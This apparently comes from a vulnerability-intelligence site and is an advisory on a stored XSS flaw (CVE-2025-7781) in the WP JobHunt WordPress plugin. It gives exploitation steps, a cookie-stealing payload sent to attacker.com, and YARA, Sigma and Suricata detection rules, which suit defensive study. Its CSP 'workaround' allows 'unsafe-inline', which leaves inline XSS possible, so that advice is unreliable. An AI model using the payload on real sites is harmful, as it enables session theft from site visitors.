CVE-2025-7781
Executive Summary
CVE-2025-7781 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the WP JobHunt plugin for WordPress, which is used by the JobCareer theme. The flaw exists in the cs_job_title parameter and allows authenticated attackers with Candidate-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses the compromised page. The vulnerability is present in all versions up to and including 7.6, and no patch is currently available. The CVSS score is 6.4 (Medium), and the EPSS probability is 0.0%, indicating a low likelihood of exploitation in the wild at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the WordPress ecosystem, affecting the WP JobHunt plugin and the JobCareer theme. It is not related to Apache or Nginx server software.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Base Score: 6.4 (Medium)
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: Low (PR:L) – Attacker needs Candidate-level authentication.
- User Interaction: None (UI:N) – No user action is needed for the attack.
- Scope: Changed (S:C) – The vulnerability can impact resources beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited data exposure.
- Integrity Impact: Low (I:L) – Limited data modification.
- Availability Impact: None (A:N) – No impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for stored XSS to affect all site visitors elevates the risk for affected WordPress installations.
Deep Dive & Mechanics
The vulnerability resides in the WP JobHunt plugin's handling of the cs_job_title parameter. When a user with Candidate-level privileges submits or updates a job application, the plugin fails to properly sanitize the input and escape the output. This allows an attacker to inject malicious JavaScript code into the cs_job_title field.
The injected script is stored in the WordPress database and executed when any user (including administrators) views the page containing the malicious job title. This can lead to session hijacking, defacement, or redirection to malicious sites.
Root Cause: Insufficient input sanitization and output escaping in the plugin's code, specifically in the handling of the cs_job_title parameter.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is the current state. The following is a hypothetical example of the vulnerable code and what a patched version should look like.
Vulnerable Code (PHP):
// In a file like wp-jobhunt/includes/class-job-application.php
function save_job_application($data) {
$job_title = $data['cs_job_title'];
// No sanitization or escaping
update_post_meta($post_id, 'cs_job_title', $job_title);
}
Patched Code (Hypothetical):
function save_job_application($data) {
$job_title = sanitize_text_field($data['cs_job_title']);
// Escape output when displaying
echo esc_html($job_title);
update_post_meta($post_id, 'cs_job_title', $job_title);
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress installation with the WP JobHunt plugin (version <= 7.6) and JobCareer theme.
- An authenticated user account with Candidate-level privileges.
Exploitation Steps:
- Log in as a Candidate user.
- Navigate to the job application submission page.
- In the
cs_job_titlefield, inject a malicious script, e.g.:<script>alert('XSS')</script> - Submit the application.
- When any user views the job listing or application details, the script executes.
Example Payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team (Detection & Prevention)
Detection:
- Monitor for unusual job title submissions containing
<script>tags or event handlers. - Review WordPress logs for suspicious POST requests to job application endpoints.
Prevention:
- Implement a Web Application Firewall (WAF) rule to block XSS payloads in form fields.
- Restrict Candidate-level permissions to only necessary functions.
- Apply input validation and output escaping in custom code or via security plugins.
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound HTTP requests to known malicious domains from the WordPress server.
- Unusual POST requests to
/wp-admin/admin-ajax.phpwithaction=job_application_submitand suspiciouscs_job_titlevalues.
File IOCs:
- Modified database entries in
wp_postmetawheremeta_keyiscs_job_titleandmeta_valuecontains JavaScript.
- Modified database entries in
Log IOCs:
- WordPress debug log entries showing PHP warnings related to
cs_job_title. - Web server access logs with
cs_job_titlecontaining encoded or raw script tags.
- WordPress debug log entries showing PHP warnings related to
Detection Engineering
YARA Rule
rule CVE_2025_7781_WP_JobHunt_XSS {
meta:
description = "Detects stored XSS payloads in WP JobHunt cs_job_title field"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-7781"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$event_handler = /on\w+\s*=\s*["'][^"']*["']/i
condition:
$xss_payload or $event_handler
}
Sigma Rule
title: Stored XSS in WP JobHunt cs_job_title
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts via cs_job_title parameter in WP JobHunt plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs_job_title|contains:
- '<script'
- 'onload='
- 'onerror='
condition: selection
falsepositives:
- Legitimate use of HTML in job titles (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-7781 WP JobHunt Stored XSS Attempt"; flow:to_server,established; content:"cs_job_title"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the WP JobHunt plugin and switch to a different theme if possible.
- Restrict Candidate-level accounts to only necessary functions.
- Implement a WAF to block XSS payloads in form fields.
Long-term Fix:
- Monitor the vendor's website for a patch. If none is released, consider removing the plugin and theme entirely.
- Apply input sanitization and output escaping in custom code or via a security plugin like Wordfence.
Workaround:
- Use a content security policy (CSP) header to mitigate XSS impact:
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none';
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.